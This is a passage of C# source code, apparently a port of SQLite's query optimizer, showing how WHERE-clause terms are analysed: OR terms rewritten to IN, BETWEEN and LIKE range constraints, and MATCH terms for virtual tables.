Debug.Assert( pX.pLeft != null );\n            pColl = sqlite3BinaryCompareCollSeq( pParse, pX.pLeft, pX.pRight );\n            Debug.Assert( pColl != null || pParse.nErr != 0 );\n\n            for ( j = 0 ; pIdx.aiColumn[j] != iColumn ; j++ )\n            {\n              if ( NEVER( j >= pIdx.nColumn ) ) return null;\n            }\n            if ( pColl != null && sqlite3StrICmp( pColl.zName, pIdx.azColl[j] ) != 0 ) continue;\n          }\n          return pTerm;\n        }\n      }\n      return null;\n    }\n\n    /* Forward reference */\n    //static void exprAnalyze(SrcList*, WhereClause*, int);\n\n    /*\n    ** Call exprAnalyze on all terms in a WHERE clause.\n    **\n    **\n    */\n    static void exprAnalyzeAll(\n    SrcList pTabList,       /* the FROM clause */\n    WhereClause pWC         /* the WHERE clause to be analyzed */\n    )\n    {\n      int i;\n      for ( i = pWC.nTerm - 1 ; i >= 0 ; i-- )\n      {\n        exprAnalyze( pTabList, pWC, i );\n      }\n    }\n\n#if  !SQLITE_OMIT_LIKE_OPTIMIZATION\n    /*\n** Check to see if the given expression is a LIKE or GLOB operator that\n** can be optimized using inequality constraints.  Return TRUE if it is\n** so and false if not.\n**\n** In order for the operator to be optimizible, the RHS must be a string\n** literal that does not begin with a wildcard.\n*/\n    static int isLikeOrGlob(\n    Parse pParse,         /* Parsing and code generating context */\n    Expr pExpr,           /* Test this expression */\n    ref int pnPattern,    /* Number of non-wildcard prefix characters */\n    ref bool pisComplete, /* True if the only wildcard is % in the last character */\n    ref bool pnoCase      /* True if uppercase is equivalent to lowercase */\n    )\n    {\n      string z;                  /* String on RHS of LIKE operator */\n      Expr pRight, pLeft;        /* Right and left size of LIKE operator */\n      ExprList pList;            /* List of operands to the LIKE operator */\n      int c = 0;                 /* One character in z[] */\n      int cnt;                   /* Number of non-wildcard prefix characters */\n      char[] wc = new char[3];   /* Wildcard characters */\n      CollSeq pColl;             /* Collating sequence for LHS */\n      sqlite3 db = pParse.db;    /* Data_base connection */\n\n      if ( !sqlite3IsLikeFunction( db, pExpr, ref pnoCase, wc ) )\n      {\n        return 0;\n      }\n#if SQLITE_EBCDIC\nif( pnoCase ) return 0;\n#endif\n      pList = pExpr.x.pList;\n      pRight = pList.a[0].pExpr;\n      if ( pRight.op != TK_STRING )\n      {\n        return 0;\n      }\n      pLeft = pList.a[1].pExpr;\n      if ( pLeft.op != TK_COLUMN )\n      {\n        return 0;\n      }\n      pColl = sqlite3ExprCollSeq( pParse, pLeft );\n      Debug.Assert( pColl != null || pLeft.iColumn == -1 );\n      if ( pColl == null ) return 0;\n      if ( ( pColl.type != SQLITE_COLL_BINARY || pnoCase ) &&\n      ( pColl.type != SQLITE_COLL_NOCASE || !pnoCase ) )\n      {\n        return 0;\n      }\n      if ( sqlite3ExprAffinity( pLeft ) != SQLITE_AFF_TEXT ) return 0;\n      z = pRight.u.zToken;\n      if ( ALWAYS( !String.IsNullOrEmpty( z ) ) )\n      {\n        cnt = 0;\n        while ( cnt < z.Length && ( c = z[cnt] ) != 0 && c != wc[0] && c != wc[1] && c != wc[2] )\n        {\n          cnt++;\n        }\n        if ( cnt != 0 && c != 0 && 255 != (u8)z[cnt - 1] )\n        {\n          pisComplete = cnt >= z.Length - 1 ? true : z[cnt] == wc[0] && z[cnt + 1] == 0;\n          pnPattern = cnt;\n          return 1;\n        }\n      }\n      return 0;\n    }\n#endif //* SQLITE_OMIT_LIKE_OPTIMIZATION */\n\n\n#if  !SQLITE_OMIT_VIRTUALTABLE\n/*\n** Check to see if the given expression is of the form\n**\n**         column MATCH expr\n**\n** If it is then return TRUE.  If not, return FALSE.\n*/\nstatic int isMatchOfColumn(\nExpr pExpr      /* Test this expression */\n){\nExprList pList;\n\nif( pExpr.op!=TK_FUNCTION ){\nreturn 0;\n}\nif(sqlite3StrICmp(pExpr->u.zToken,\"match\")!=0 ){\nreturn 0;\n}\npList = pExpr.x.pList;\nif( pList.nExpr!=2 ){\nreturn 0;\n}\nif( pList.a[1].pExpr.op != TK_COLUMN ){\nreturn 0;\n}\nreturn 1;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n    /*\n** If the pBase expression originated in the ON or USING clause of\n** a join, then transfer the appropriate markings over to derived.\n*/\n    static void transferJoinMarkings( Expr pDerived, Expr pBase )\n    {\n      pDerived.flags = (u16)( pDerived.flags | pBase.flags & EP_FromJoin );\n      pDerived.iRightJoinTable = pBase.iRightJoinTable;\n    }\n\n#if  !(SQLITE_OMIT_OR_OPTIMIZATION) && !(SQLITE_OMIT_SUBQUERY)\n    /*\n** Analyze a term that consists of two or more OR-connected\n** subterms.  So in:\n**\n**     ... WHERE  (a=5) AND (b=7 OR c=9 OR d=13) AND (d=13)\n**                          ^^^^^^^^^^^^^^^^^^^^\n**\n** This routine analyzes terms such as the middle term in the above example.\n** A WhereOrTerm object is computed and attached to the term under\n** analysis, regardless of the outcome of the analysis.  Hence:\n**\n**     WhereTerm.wtFlags   |=  TERM_ORINFO\n**     WhereTerm.u.pOrInfo  =  a dynamically allocated WhereOrTerm object\n**\n** The term being analyzed must have two or more of OR-connected subterms.\n** A single subterm might be a set of AND-connected sub-subterms.\n** Examples of terms under analysis:\n**\n**     (A)     t1.x=t2.y OR t1.x=t2.z OR t1.y=15 OR t1.z=t3.a+5\n**     (B)     x=expr1 OR expr2=x OR x=expr3\n**     (C)     t1.x=t2.y OR (t1.x=t2.z AND t1.y=15)\n**     (D)     x=expr1 OR (y>11 AND y<22 AND z LIKE '*hello*')\n**     (E)     (p.a=1 AND q.b=2 AND r.c=3) OR (p.x=4 AND q.y=5 AND r.z=6)\n**\n** CASE 1:\n**\n** If all subterms are of the form T.C=expr for some single column of C\n** a single table T (as shown in example B above) then create a new virtual\n** term that is an equivalent IN expression.  In other words, if the term\n** being analyzed is:\n**\n**      x = expr1  OR  expr2 = x  OR  x = expr3\n**\n** then create a new virtual term like this:\n**\n**      x IN (expr1,expr2,expr3)\n**\n** CASE 2:\n**\n** If all subterms are indexable by a single table T, then set\n**\n**     WhereTerm.eOperator              =  WO_OR\n**     WhereTerm.u.pOrInfo.indexable  |=  the cursor number for table T\n**\n** A subterm is \"indexable\" if it is of the form\n** \"T.C <op> <expr>\" where C is any column of table T and\n** <op> is one of \"=\", \"<\", \"<=\", \">\", \">=\", \"IS NULL\", or \"IN\".\n** A subterm is also indexable if it is an AND of two or more\n** subsubterms at least one of which is indexable.  Indexable AND\n** subterms have their eOperator set to WO_AND and they have\n** u.pAndInfo set to a dynamically allocated WhereAndTerm object.\n**\n** From another point of view, \"indexable\" means that the subterm could\n** potentially be used with an index if an appropriate index exists.\n** This analysis does not consider whether or not the index exists; that\n** is something the bestIndex() routine will determine.  This analysis\n** only looks at whether subterms appropriate for indexing exist.\n**\n** All examples A through E above all satisfy case 2.  But if a term\n** also statisfies case 1 (such as B) we know that the optimizer will\n** always prefer case 1, so in that case we pretend that case 2 is not\n** satisfied.\n**\n** It might be the case that multiple tables are indexable.  For example,\n** (E) above is indexable on tables P, Q, and R.\n**\n** Terms that satisfy case 2 are candidates for lookup by using\n** separate indices to find rowids for each subterm and composing\n** the union of all rowids using a RowSet object.  This is similar\n** to \"bitmap indices\" in other data_base engines.\n**\n** OTHERWISE:\n**\n** If neither case 1 nor case 2 apply, then leave the eOperator set to\n** zero.  This term is not useful for search.\n*/\n    static void exprAnalyzeOrTerm(\n    SrcList pSrc,            /* the FROM clause */\n    WhereClause pWC,         /* the complete WHERE clause */\n    int idxTerm               /* Index of the OR-term to be analyzed */\n    )\n    {\n      Parse pParse = pWC.pParse;            /* Parser context */\n      sqlite3 db = pParse.db;               /* Data_base connection */\n      WhereTerm pTerm = pWC.a[idxTerm];    /* The term to be analyzed */\n      Expr pExpr = pTerm.pExpr;             /* The expression of the term */\n      WhereMaskSet pMaskSet = pWC.pMaskSet; /* Table use masks */\n      int i;                                  /* Loop counters */\n      WhereClause pOrWc;        /* Breakup of pTerm into subterms */\n      WhereTerm pOrTerm;        /* A Sub-term within the pOrWc */\n      WhereOrInfo pOrInfo;      /* Additional information Debug.Associated with pTerm */\n      Bitmask chngToIN;         /* Tables that might satisfy case 1 */\n      Bitmask indexable;        /* Tables that are indexable, satisfying case 2 */\n\n      /*\n      ** Break the OR clause into its separate subterms.  The subterms are\n      ** stored in a WhereClause structure containing within the WhereOrInfo\n      ** object that is attached to the original OR clause term.\n      */\n      Debug.Assert( ( pTerm.wtFlags & ( TERM_DYNAMIC | TERM_ORINFO | TERM_ANDINFO ) ) == 0 );\n      Debug.Assert( pExpr.op == TK_OR );\n      pTerm.u.pOrInfo = pOrInfo = new WhereOrInfo();//sqlite3DbMallocZero(db, sizeof(*pOrInfo));\n      if ( pOrInfo == null ) return;\n      pTerm.wtFlags |= TERM_ORINFO;\n      pOrWc = pOrInfo.wc;\n      whereClauseInit( pOrWc, pWC.pParse, pMaskSet );\n      whereSplit( pOrWc, pExpr, TK_OR );\n      exprAnalyzeAll( pSrc, pOrWc );\n//      if ( db.mallocFailed != 0 ) return;\n      Debug.Assert( pOrWc.nTerm >= 2 );\n\n      /*\n      ** Compute the set of tables that might satisfy cases 1 or 2.\n      */\n      indexable = ~(Bitmask)0;\n      chngToIN = ~( pWC.vmask );\n      for ( i = pOrWc.nTerm - 1 ; i >= 0 && indexable != 0 ; i-- )//, pOrTerm++ )\n      {\n        pOrTerm = pOrWc.a[i];\n        if ( ( pOrTerm.eOperator & WO_SINGLE ) == 0 )\n        {\n          WhereAndInfo pAndInfo;\n          Debug.Assert( pOrTerm.eOperator == 0 );\n          Debug.Assert( ( pOrTerm.wtFlags & ( TERM_ANDINFO | TERM_ORINFO ) ) == 0 );\n          chngToIN = 0;\n          pAndInfo = new WhereAndInfo();//sqlite3DbMallocRaw(db, sizeof(*pAndInfo));\n          if ( pAndInfo != null )\n          {\n            WhereClause pAndWC;\n            WhereTerm pAndTerm;\n            int j;\n            Bitmask b = 0;\n            pOrTerm.u.pAndInfo = pAndInfo;\n            pOrTerm.wtFlags |= TERM_ANDINFO;\n            pOrTerm.eOperator = WO_AND;\n            pAndWC = pAndInfo.wc;\n            whereClauseInit( pAndWC, pWC.pParse, pMaskSet );\n            whereSplit( pAndWC, pOrTerm.pExpr, TK_AND );\n            exprAnalyzeAll( pSrc, pAndWC );\n            //testcase( db.mallocFailed );\n            ////if ( 0 == db.mallocFailed )\n            {\n              for ( j = 0 ; j < pAndWC.nTerm ; j++ )//, pAndTerm++ )\n              {\n                pAndTerm = pAndWC.a[j];\n                Debug.Assert( pAndTerm.pExpr != null );\n                if ( allowedOp( pAndTerm.pExpr.op ) )\n                {\n                  b |= getMask( pMaskSet, pAndTerm.leftCursor );\n                }\n              }\n            }\n            indexable &= b;\n          }\n        }\n        else if ( ( pOrTerm.wtFlags & TERM_COPIED ) != 0 )\n        {\n          /* Skip this term for now.  We revisit it when we process the\n          ** corresponding TERM_VIRTUAL term */\n        }\n        else\n        {\n          Bitmask b;\n          b = getMask( pMaskSet, pOrTerm.leftCursor );\n          if ( ( pOrTerm.wtFlags & TERM_VIRTUAL ) != 0 )\n          {\n            WhereTerm pOther = pOrWc.a[pOrTerm.iParent];\n            b |= getMask( pMaskSet, pOther.leftCursor );\n          }\n          indexable &= b;\n          if ( pOrTerm.eOperator != WO_EQ )\n          {\n            chngToIN = 0;\n          }\n          else\n          {\n            chngToIN &= b;\n          }\n        }\n      }\n\n      /*\n      ** Record the set of tables that satisfy case 2.  The set might be\n      ** empty.\n      */\n      pOrInfo.indexable = indexable;\n      pTerm.eOperator = (u16)( indexable == 0 ? 0 : WO_OR );\n\n      /*\n      ** chngToIN holds a set of tables that *might* satisfy case 1.  But\n      ** we have to do some additional checking to see if case 1 really\n      ** is satisfied.\n      **\n      ** chngToIN will hold either 0, 1, or 2 bits.  The 0-bit case means\n      ** that there is no possibility of transforming the OR clause into an\n      ** IN operator because one or more terms in the OR clause contain\n      ** something other than == on a column in the single table.  The 1-bit\n      ** case means that every term of the OR clause is of the form\n      ** \"table.column=expr\" for some single table.  The one bit that is set\n      ** will correspond to the common table.  We still need to check to make\n      ** sure the same column is used on all terms.  The 2-bit case is when\n      ** the all terms are of the form \"table1.column=table2.column\".  It\n      ** might be possible to form an IN operator with either table1.column\n      ** or table2.column as the LHS if either is common to every term of\n      ** the OR clause.\n      **\n      ** Note that terms of the form \"table.column1=table.column2\" (the\n      ** same table on both sizes of the ==) cannot be optimized.\n      */\n      if ( chngToIN != 0 )\n      {\n        int okToChngToIN = 0;     /* True if the conversion to IN is valid */\n        int iColumn = -1;         /* Column index on lhs of IN operator */\n        int iCursor = -1;         /* Table cursor common to all terms */\n        int j = 0;                /* Loop counter */\n\n        /* Search for a table and column that appears on one side or the\n        ** other of the == operator in every subterm.  That table and column\n        ** will be recorded in iCursor and iColumn.  There might not be any\n        ** such table and column.  Set okToChngToIN if an appropriate table\n        ** and column is found but leave okToChngToIN false if not found.\n        */\n        for ( j = 0 ; j < 2 && 0 == okToChngToIN ; j++ )\n        {\n          //pOrTerm = pOrWc.a;\n          for ( i = pOrWc.nTerm - 1 ; i >= 0 ; i-- )//, pOrTerm++)\n          {\n            pOrTerm = pOrWc.a[pOrWc.nTerm - 1 - i];\n            Debug.Assert( pOrTerm.eOperator == WO_EQ );\n            pOrTerm.wtFlags = (u8)( pOrTerm.wtFlags & ~TERM_OR_OK );\n            if ( pOrTerm.leftCursor == iCursor )\n            {\n              /* This is the 2-bit case and we are on the second iteration and\n              ** current term is from the first iteration.  So skip this term. */\n              Debug.Assert( j == 1 );\n              continue;\n            }\n            if ( ( chngToIN & getMask( pMaskSet, pOrTerm.leftCursor ) ) == 0 )\n            {\n              /* This term must be of the form t1.a==t2.b where t2 is in the\n              ** chngToIN set but t1 is not.  This term will be either preceeded\n              ** or follwed by an inverted copy (t2.b==t1.a).  Skip this term\n              ** and use its inversion. */\n              testcase( pOrTerm.wtFlags & TERM_COPIED );\n              testcase( pOrTerm.wtFlags & TERM_VIRTUAL );\n              Debug.Assert( ( pOrTerm.wtFlags & ( TERM_COPIED | TERM_VIRTUAL ) ) != 0 );\n              continue;\n            }\n            iColumn = pOrTerm.u.leftColumn;\n            iCursor = pOrTerm.leftCursor;\n            break;\n          }\n          if ( i < 0 )\n          {\n            /* No candidate table+column was found.  This can only occur\n            ** on the second iteration */\n            Debug.Assert( j == 1 );\n            Debug.Assert( ( chngToIN & ( chngToIN - 1 ) ) == 0 );\n            Debug.Assert( chngToIN == getMask( pMaskSet, iCursor ) );\n            break;\n          }\n          testcase( j == 1 );\n\n          /* We have found a candidate table and column.  Check to see if that\n          ** table and column is common to every term in the OR clause */\n          okToChngToIN = 1;\n          for ( ; i >= 0 && okToChngToIN != 0 ; i-- )//, pOrTerm++)\n          {\n            pOrTerm = pOrWc.a[pOrWc.nTerm - 1 - i];\n            Debug.Assert( pOrTerm.eOperator == WO_EQ );\n            if ( pOrTerm.leftCursor != iCursor )\n            {\n              pOrTerm.wtFlags = (u8)( pOrTerm.wtFlags & ~TERM_OR_OK );\n            }\n            else if ( pOrTerm.u.leftColumn != iColumn )\n            {\n              okToChngToIN = 0;\n            }\n            else\n            {\n              int affLeft, affRight;\n              /* If the right-hand side is also a column, then the affinities\n              ** of both right and left sides must be such that no type\n              ** conversions are required on the right.  (Ticket #2249)\n              */\n              affRight = sqlite3ExprAffinity( pOrTerm.pExpr.pRight );\n              affLeft = sqlite3ExprAffinity( pOrTerm.pExpr.pLeft );\n              if ( affRight != 0 && affRight != affLeft )\n              {\n                okToChngToIN = 0;\n              }\n              else\n              {\n                pOrTerm.wtFlags |= TERM_OR_OK;\n              }\n            }\n          }\n        }\n\n        /* At this point, okToChngToIN is true if original pTerm satisfies\n        ** case 1.  In that case, construct a new virtual term that is\n        ** pTerm converted into an IN operator.\n        */\n        if ( okToChngToIN != 0 )\n        {\n          Expr pDup;            /* A transient duplicate expression */\n          ExprList pList = null;   /* The RHS of the IN operator */\n          Expr pLeft = null;       /* The LHS of the IN operator */\n          Expr pNew;            /* The complete IN operator */\n\n          for ( i = pOrWc.nTerm - 1 ; i >= 0 ; i-- )//, pOrTerm++)\n          {\n            pOrTerm = pOrWc.a[pOrWc.nTerm - 1 - i];\n            if ( ( pOrTerm.wtFlags & TERM_OR_OK ) == 0 ) continue;\n            Debug.Assert( pOrTerm.eOperator == WO_EQ );\n            Debug.Assert( pOrTerm.leftCursor == iCursor );\n            Debug.Assert( pOrTerm.u.leftColumn == iColumn );\n            pDup = sqlite3ExprDup( db, pOrTerm.pExpr.pRight, 0 );\n            pList = sqlite3ExprListAppend( pWC.pParse, pList, pDup );\n            pLeft = pOrTerm.pExpr.pLeft;\n          }\n          Debug.Assert( pLeft != null );\n          pDup = sqlite3ExprDup( db, pLeft, 0 );\n          pNew = sqlite3PExpr( pParse, TK_IN, pDup, null, null );\n          if ( pNew != null )\n          {\n            int idxNew;\n            transferJoinMarkings( pNew, pExpr );\n            Debug.Assert( !ExprHasProperty( pNew, EP_xIsSelect ) );\n            pNew.x.pList = pList;\n            idxNew = whereClauseInsert( pWC, pNew, TERM_VIRTUAL | TERM_DYNAMIC );\n            testcase( idxNew == 0 );\n            exprAnalyze( pSrc, pWC, idxNew );\n            pTerm = pWC.a[idxTerm];\n            pWC.a[idxNew].iParent = idxTerm;\n            pTerm.nChild = 1;\n          }\n          else\n          {\n            sqlite3ExprListDelete( db, ref pList );\n          }\n          pTerm.eOperator = 0;  /* case 1 trumps case 2 */\n        }\n      }\n    }\n#endif //* !SQLITE_OMIT_OR_OPTIMIZATION && !SQLITE_OMIT_SUBQUERY */\n\n\n    /*\n** The input to this routine is an WhereTerm structure with only the\n** \"pExpr\" field filled in.  The job of this routine is to analyze the\n** subexpression and populate all the other fields of the WhereTerm\n** structure.\n**\n** If the expression is of the form \"<expr> <op> X\" it gets commuted\n** to the standard form of \"X <op> <expr>\".\n**\n** If the expression is of the form \"X <op> Y\" where both X and Y are\n** columns, then the original expression is unchanged and a new virtual\n** term of the form \"Y <op> X\" is added to the WHERE clause and\n** analyzed separately.  The original term is marked with TERM_COPIED\n** and the new term is marked with TERM_DYNAMIC (because it's pExpr\n** needs to be freed with the WhereClause) and TERM_VIRTUAL (because it\n** is a commuted copy of a prior term.)  The original term has nChild=1\n** and the copy has idxParent set to the index of the original term.\n*/\n    static void exprAnalyze(\n    SrcList pSrc,            /* the FROM clause */\n    WhereClause pWC,         /* the WHERE clause */\n    int idxTerm               /* Index of the term to be analyzed */\n    )\n    {\n      WhereTerm pTerm;                /* The term to be analyzed */\n      WhereMaskSet pMaskSet;          /* Set of table index masks */\n      Expr pExpr;                     /* The expression to be analyzed */\n      Bitmask prereqLeft;              /* Prerequesites of the pExpr.pLeft */\n      Bitmask prereqAll;               /* Prerequesites of pExpr */\n      Bitmask extraRight = 0;\n      int nPattern = 0;\n      bool isComplete = false;\n      bool noCase = false;\n      int op;                          /* Top-level operator.  pExpr.op */\n      Parse pParse = pWC.pParse;     /* Parsing context */\n      sqlite3 db = pParse.db;        /* Data_base connection */\n\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  return;\n      //}\n      pTerm = pWC.a[idxTerm];\n      pMaskSet = pWC.pMaskSet;\n      pExpr = pTerm.pExpr;\n      prereqLeft = exprTableUsage( pMaskSet, pExpr.pLeft );\n      op = pExpr.op;\n      if ( op == TK_IN )\n      {\n        Debug.Assert( pExpr.pRight == null );\n        if ( ExprHasProperty( pExpr, EP_xIsSelect ) )\n        {\n          pTerm.prereqRight = exprSelectTableUsage( pMaskSet, pExpr.x.pSelect );\n        }\n        else\n        {\n          pTerm.prereqRight = exprListTableUsage( pMaskSet, pExpr.x.pList );\n        }\n      }\n      else if ( op == TK_ISNULL )\n      {\n        pTerm.prereqRight = 0;\n      }\n      else\n      {\n        pTerm.prereqRight = exprTableUsage( pMaskSet, pExpr.pRight );\n      }\n      prereqAll = exprTableUsage( pMaskSet, pExpr );\n      if ( ExprHasProperty( pExpr, EP_FromJoin ) )\n      {\n        Bitmask x = getMask( pMaskSet, pExpr.iRightJoinTable );\n        prereqAll |= x;\n        extraRight = x - 1;  /* ON clause terms may not be used with an index\n** on left table of a LEFT JOIN.  Ticket #3015 */\n      }\n      pTerm.prereqAll = prereqAll;\n      pTerm.leftCursor = -1;\n      pTerm.iParent = -1;\n      pTerm.eOperator = 0;\n      if ( allowedOp( op ) && ( pTerm.prereqRight & prereqLeft ) == 0 )\n      {\n        Expr pLeft = pExpr.pLeft;\n        Expr pRight = pExpr.pRight;\n        if ( pLeft.op == TK_COLUMN )\n        {\n          pTerm.leftCursor = pLeft.iTable;\n          pTerm.u.leftColumn = pLeft.iColumn;\n          pTerm.eOperator = operatorMask( op );\n        }\n        if ( pRight != null && pRight.op == TK_COLUMN )\n        {\n          WhereTerm pNew;\n          Expr pDup;\n          if ( pTerm.leftCursor >= 0 )\n          {\n            int idxNew;\n            pDup = sqlite3ExprDup( db, pExpr, 0 );\n            //if ( db.mallocFailed != 0 )\n            //{\n            //  sqlite3ExprDelete( db, ref pDup );\n            //  return;\n            //}\n            idxNew = whereClauseInsert( pWC, pDup, TERM_VIRTUAL | TERM_DYNAMIC );\n            if ( idxNew == 0 ) return;\n            pNew = pWC.a[idxNew];\n            pNew.iParent = idxTerm;\n            pTerm = pWC.a[idxTerm];\n            pTerm.nChild = 1;\n            pTerm.wtFlags |= TERM_COPIED;\n          }\n          else\n          {\n            pDup = pExpr;\n            pNew = pTerm;\n          }\n          exprCommute( pParse, pDup );\n          pLeft = pDup.pLeft;\n          pNew.leftCursor = pLeft.iTable;\n          pNew.u.leftColumn = pLeft.iColumn;\n          pNew.prereqRight = prereqLeft;\n          pNew.prereqAll = prereqAll;\n          pNew.eOperator = operatorMask( pDup.op );\n        }\n      }\n\n#if  !SQLITE_OMIT_BETWEEN_OPTIMIZATION\n      /* If a term is the BETWEEN operator, create two new virtual terms\n** that define the range that the BETWEEN implements.  For example:\n**\n**      a BETWEEN b AND c\n**\n** is converted into:\n**\n**      (a BETWEEN b AND c) AND (a>=b) AND (a<=c)\n**\n** The two new terms are added onto the end of the WhereClause object.\n** The new terms are \"dynamic\" and are children of the original BETWEEN\n** term.  That means that if the BETWEEN term is coded, the children are\n** skipped.  Or, if the children are satisfied by an index, the original\n** BETWEEN term is skipped.\n*/\n      else if ( pExpr.op == TK_BETWEEN && pWC.op == TK_AND )\n      {\n        ExprList pList = pExpr.x.pList;\n        int i;\n        u8[] ops = new u8[] { TK_GE, TK_LE };\n        Debug.Assert( pList != null );\n        Debug.Assert( pList.nExpr == 2 );\n        for ( i = 0 ; i < 2 ; i++ )\n        {\n          Expr pNewExpr;\n          int idxNew;\n          pNewExpr = sqlite3PExpr( pParse, ops[i],\n                     sqlite3ExprDup( db, pExpr.pLeft, 0 ),\n          sqlite3ExprDup( db, pList.a[i].pExpr, 0 ), null );\n          idxNew = whereClauseInsert( pWC, pNewExpr, TERM_VIRTUAL | TERM_DYNAMIC );\n          testcase( idxNew == 0 );\n          exprAnalyze( pSrc, pWC, idxNew );\n          pTerm = pWC.a[idxTerm];\n          pWC.a[idxNew].iParent = idxTerm;\n        }\n        pTerm.nChild = 2;\n      }\n#endif //* SQLITE_OMIT_BETWEEN_OPTIMIZATION */\n\n#if  !(SQLITE_OMIT_OR_OPTIMIZATION) && !(SQLITE_OMIT_SUBQUERY)\n      /* Analyze a term that is composed of two or more subterms connected by\n** an OR operator.\n*/\n      else if ( pExpr.op == TK_OR )\n      {\n        Debug.Assert( pWC.op == TK_AND );\n        exprAnalyzeOrTerm( pSrc, pWC, idxTerm );\n\t  pTerm = pWC.a[idxTerm];\n      }\n#endif //* SQLITE_OMIT_OR_OPTIMIZATION */\n\n#if  !SQLITE_OMIT_LIKE_OPTIMIZATION\n      /* Add constraints to reduce the search space on a LIKE or GLOB\n** operator.\n**\n** A like pattern of the form \"x LIKE 'abc%'\" is changed into constraints\n**\n**          x>='abc' AND x<'abd' AND x LIKE 'abc%'\n**\n** The last character of the prefix \"abc\" is incremented to form the\n** termination condition \"abd\".\n*/\n      if ( isLikeOrGlob( pParse, pExpr, ref nPattern, ref isComplete, ref noCase ) != 0\n      && pWC.op == TK_AND )\n      {\n        Expr pLeft, pRight;\n        Expr pStr1, pStr2;\n        Expr pNewExpr1, pNewExpr2;\n        int idxNew1, idxNew2;\n\n        pLeft = pExpr.x.pList.a[1].pExpr;\n        pRight = pExpr.x.pList.a[0].pExpr;\n        pStr1 = sqlite3Expr( db, TK_STRING, pRight.u.zToken );\n        if ( pStr1 != null ) pStr1.u.zToken = pStr1.u.zToken.Substring( 0, nPattern );\n\n        pStr2 = sqlite3ExprDup( db, pStr1, 0 );\n        ////if ( 0 == db.mallocFailed )\n        {\n          int c, pC;    /* Last character before the first wildcard */\n          pC = pStr2.u.zToken[nPattern - 1];// (u8*)&pStr2->token.z[nPattern-1];\n          c = pC;\n          if ( noCase )\n          {\n            /* The point is to increment the last character before the first\n            ** wildcard.  But if we increment '@', that will push it into the\n            ** alphabetic range where case conversions will mess up the\n            ** inequality.  To avoid this, make sure to also run the full\n            ** LIKE on all candidate expressions by clearing the isComplete flag\n            */\n            if ( c == 'A' - 1 ) isComplete = false;\n            c = sqlite3UpperToLower[c];\n          }\n          pStr2.u.zToken = pStr2.u.zToken.Substring( 0, nPattern - 1 ) + (char)( c + 1 );// pC = c + 1;\n        }\n        pNewExpr1 = sqlite3PExpr( pParse, TK_GE, sqlite3ExprDup( db, pLeft, 0 ), pStr1, null );\n        idxNew1 = whereClauseInsert( pWC, pNewExpr1, TERM_VIRTUAL | TERM_DYNAMIC );\n        testcase( idxNew1 == 0 );\n        exprAnalyze( pSrc, pWC, idxNew1 );\n        pNewExpr2 = sqlite3PExpr( pParse, TK_LT, sqlite3ExprDup( db, pLeft, 0 ), pStr2, null );\n        idxNew2 = whereClauseInsert( pWC, pNewExpr2, TERM_VIRTUAL | TERM_DYNAMIC );\n        testcase( idxNew2 == 0 );\n        exprAnalyze( pSrc, pWC, idxNew2 );\n        pTerm = pWC.a[idxTerm];\n        if ( isComplete )\n        {\n          pWC.a[idxNew1].iParent = idxTerm;\n          pWC.a[idxNew2].iParent = idxTerm;\n          pTerm.nChild = 2;\n        }\n      }\n#endif //* SQLITE_OMIT_LIKE_OPTIMIZATION */\n\n#if  !SQLITE_OMIT_VIRTUALTABLE\n/* Add a WO_MATCH auxiliary term to the constraint set if the\n** current expression is of the form:  column MATCH expr.\n** This information is used by the xBestIndex methods of\n** virtual tables.  The native query optimizer does not attempt\n** to do anything with MATCH functions.\n*/\nif ( isMatchOfColumn( pExpr ) )\n{\nint idxNew;\nExpr pRight, pLeft;\nWhereTerm pNewTerm;\nBitmask prereqColumn, prereqExpr;\n\npRight = pExpr.x.pList.a[0].pExpr;\npLeft = pExpr.x.pList.a[1].pExpr;\nprereqExpr = exprTableUsage( pMaskSet, pRight );\nprereqColumn = exprTableUsage( pMaskSet, pLeft );\nif ( ( prereqExpr & prereqColumn ) == null )\n{\nExpr pNewExpr;\npNewExpr = sqlite3PExpr(pParse, TK_MATCH,\n0, sqlite3ExprDup(db, pRight, 0), 0);\nidxNew = whereClauseInsert( pWC, pNewExpr, TERM_VIRTUAL | TERM_DYNAMIC );\ntestcase( idxNew == 0 );\npNewTerm = pWC.a[idxNew];\npNewTerm.prereqRight = prereqExpr;\npNewTerm.leftCursor = pLeft.iTable;\npNewTerm.u.leftColumn = pLeft.iColumn;\npNewTerm.eOperator = WO_MATCH;\npNewTerm.iParent = idxTerm;\npTerm = pWC.a[idxTerm];\npTerm.nChild = 1;\npTerm.wtFlags |= TERM_COPIED;\npNewTerm.prereqAll = pTerm.prereqAll;\n}\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n      /* Prevent ON clause terms of a LEFT JOIN from being used to drive\n** an index for tables to the left of the join.\n*/\n      pTerm.prereqRight |= extraRight;\n    }\n\n    /*\n    ** Return TRUE if any of the expressions in pList.a[iFirst...] contain\n    ** a reference to any table other than the iBase table.\n    */\n    static bool referencesOtherTables(\n    ExprList pList,          /* Search expressions in ths list */\n    WhereMaskSet pMaskSet,   /* Mapping from tables to bitmaps */\n    int iFirst,               /* Be searching with the iFirst-th expression */\n    int iBase                 /* Ignore references to this table */\n    )\n    {\n      Bitmask allowed = ~getMask( pMaskSet, iBase );\n      while ( iFirst < pList.nExpr )\n      {\n        if ( ( exprTableUsage( pMaskSet, pList.a[iFirst++].pExpr ) & allowed ) != 0 )\n        {\n          return true;\n        }\n      }\n      return false;\n    }\n\n\n    /*\n    ** This routine decides if pIdx can be used to satisfy the ORDER BY\n    ** clause.  If it can, it returns 1.  If pIdx cannot satisfy the\n    ** ORDER BY clause, this routine returns 0.\n    **\n    ** pOrderBy is an ORDER BY clause from a SELECT statement.  pTab is the\n    ** left-most table in the FROM clause of that same SELECT statement and\n    ** the table has a cursor number of \"_base\".  pIdx is an index on pTab.\n    **\n    ** nEqCol is the number of columns of pIdx that are used as equality\n    ** constraints.  Any of these columns may be missing from the ORDER BY\n    ** clause and the match can still be a success.\n    **\n    ** All terms of the ORDER BY that match against the index must be either\n    ** ASC or DESC.  (Terms of the ORDER BY clause past the end of a UNIQUE\n    ** index do not need to satisfy this constraint.)  The pbRev value is\n    ** set to 1 if the ORDER BY clause is all DESC and it is set to 0 if\n    ** the ORDER BY clause is all ASC.\n    */\n    static bool isSortingIndex(\n    Parse pParse,          /* Parsing context */\n    WhereMaskSet pMaskSet, /* Mapping from table cursor numbers to bitmaps */\n    Index pIdx,            /* The index we are testing */\n    int _base,             /* Cursor number for the table to be sorted */\n    ExprList pOrderBy,     /* The ORDER BY clause */\n    int nEqCol,            /* Number of index columns with == constraints */\n    ref int pbRev          /* Set to 1 if ORDER BY 